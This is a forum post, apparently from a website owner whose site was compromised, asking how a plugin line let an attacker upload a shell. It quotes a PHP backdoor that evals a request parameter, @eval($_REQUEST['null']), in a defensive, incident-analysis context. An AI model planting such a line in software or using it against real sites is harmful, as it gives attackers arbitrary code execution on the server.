Recently we've been shelled by someone who I am not aware of. I've checked all the logs and the only thing I could find was a file from a plugin that could possibly have the flaw, after he POSTed to this URL, he had access to the uploaded file, which indeed was a shell.
I am suspecting that this line of code is causing the issue.
(isset($_REQUEST['null']) ? @eval($_REQUEST['null']) : null);
Could anyone explain to me how someone would shell through this? I'm really curious how he did it, so I can also spit through the other plugins for bad codes like this. They basicily uploaded a file from this. Maybe file_put_contents()
or an actual POST request with an image?
I'm not familiair with hacking, I've also never used eval as I heard that it in fact is an evil function. Also please note that I will NOT use this to hack other sites, I just wanna understand what's going on here.